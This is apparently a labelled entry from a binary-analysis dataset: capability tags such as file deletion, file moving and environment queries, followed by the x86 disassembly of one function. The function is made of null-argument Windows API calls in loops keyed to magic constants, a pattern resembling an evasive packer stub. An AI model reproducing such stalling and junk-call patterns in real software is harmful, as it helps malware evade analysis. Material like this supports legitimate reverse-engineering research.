Function at 0x41ebb0
Capabilities:
Delete file
Enumerate gui resources
Get disk information
Get file attributes
Move file
Query environment variable
Read .ini file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4241eb
push eax
mov dword fs:[0], esp
sub esp, 0xf7c
cmp dword [0x809390], 0x12
push ebx
push ebp
push esi
push edi
jne 0x41ec14
xor ebx, ebx
push ebx
call fcn.00408f19
add esp, 4
push ebx
call fcn.00408f49
add esp, 4
lea eax, [esp + 0x80]
push eax
call fcn.004063a0
push ebx
mov dword [esp + 0xf98], ebx
call fcn.00409077
add esp, 4
call fcn.00409099
mov eax, 0x38d6
add dword [0x809390], eax
mov edi, dword [esp + 0x10]
mov ebp, dword [esp + 0x4c]
xor ebx, ebx
xor esi, esi
jmp 0x41ec30
cmp esi, 0x1c428
jge 0x41ec44
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp esi, 0x1ea07db9
jle 0x41ec5c
cmp edi, 0xad121a
je 0x41ec5c
cmp ebp, 0x8c67878
jne 0x41ec65
inc esi
cmp esi, 0x8c70231e
jb 0x41ec30
mov ecx, dword [0x809390]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
mov ebp, dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
mov esi, dword [sym.imp.KERNEL32.dll_EnumDateFormatsW]
mov dword [0x805800], eax
mov eax, dword [0x809390]
mov dword [esp + 0x10], 0x963510
cmp eax, 3
jne 0x41eca8
push ebx
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, dword [0x809390]
cmp eax, 0xbc5
jne 0x41edc9
push ebx
push ebx
push ebx
push ebx
call edi
push ebx
push ebx
push ebx
push ebx
call ebp
push ebx
push ebx
lea edx, [esp + 0xb90]
push edx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
push ebx
lea eax, [esp + 0x38c]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleA]
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x18]
push ecx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x20], ebx
call dword [sym.imp.KERNEL32.dll_QueryDepthSList]
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
push ebx
push ebx
push ebx
call esi
lea edx, [esp + 0x68]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommState]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnfix]
push ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
xor eax, eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x44]
push ecx
push ebx
mov dword [esp + 0x38], ebx
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push 0x404440
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0x404448
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateJobSet]
push 0x4044ec
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push 0x40450c
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
lea edx, [esp + 0x14]
push edx
push ebx
push 0x404520
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetStringTypeA]
lea eax, [esp + 0x20]
push eax
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
call dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
mov eax, dword [0x809390]
dec dword [esp + 0x10]
jne 0x41ec97
xor esi, esi
cmp eax, ebx
jbe 0x41edfb
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
nop
call fcn.0041e8a0
mov eax, dword [0x809390]
cmp eax, 0x29
jne 0x41edf6
call edi
mov eax, dword [0x809390]
inc esi
cmp esi, eax
jb 0x41ede0
cmp eax, 0x19c
jne 0x41ee41
push 0x404568
call dword [sym.imp.KERNEL32.dll_FindAtomA]
lea ecx, [esp + 0x14]
push ecx
push ebx
push 0x404588
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetStringTypeExA]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push 0x4045e0
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push ebx
push 0x4045ec
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov edi, dword [sym.imp.USER32.dll_GetMenuBarInfo]
mov esi, 0x8dc
lea esp, [esp]
push ebx
push ebx
push ebx
push ebx
call edi
dec esi
jne 0x41ee50
mov esi, dword [sym.imp.KERNEL32.dll_SetFileShortNameW]
mov edi, 0x250a9
mov ebp, 0x92
lea esp, [esp]
cmp dword [0x809390], ebp
jne 0x41ee80
push 0x4045f4
push ebx
call esi
dec edi
jne 0x41ee70
mov byte [0x468698], bl
call fcn.0041e3e0
call fcn.0041eb80
call fcn.0041e880
mov esi, dword [sym.imp.USER32.dll_DefDlgProcA]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [esp + 0x10], 0xf2b8b
cmp dword [0x809390], 0x21
jne 0x41eed5
push ebx
push ebx
push ebx
push ebx
call esi
push ebx
push ebx
lea edx, [esp + 0x390]
push edx
push ebx
call edi
push 0x404634
call ebp
dec dword [esp + 0x10]
jne 0x41eeb2
call fcn.0041e9d0
cmp dword [0x809390], 0xd5c
mov byte [0x468699], 0x73
jne 0x41ef9b
lea eax, [esp + 0x128]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push ebx
lea edx, [esp + 0x38c]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
push 0x404690
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesA]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
push ebx
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
push 0x404654
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
lea eax, [esp + 0x268]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
push ebx
call dword [sym.imp.KERNEL32.dll_ZombifyActCtx]
lea ecx, [esp + 0x14]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
push ebx
push ebx
push ebx
push 0x4046d4
push 0x404704
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
call fcn.0041e890
mov ecx, dword [esp + 0xf8c]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret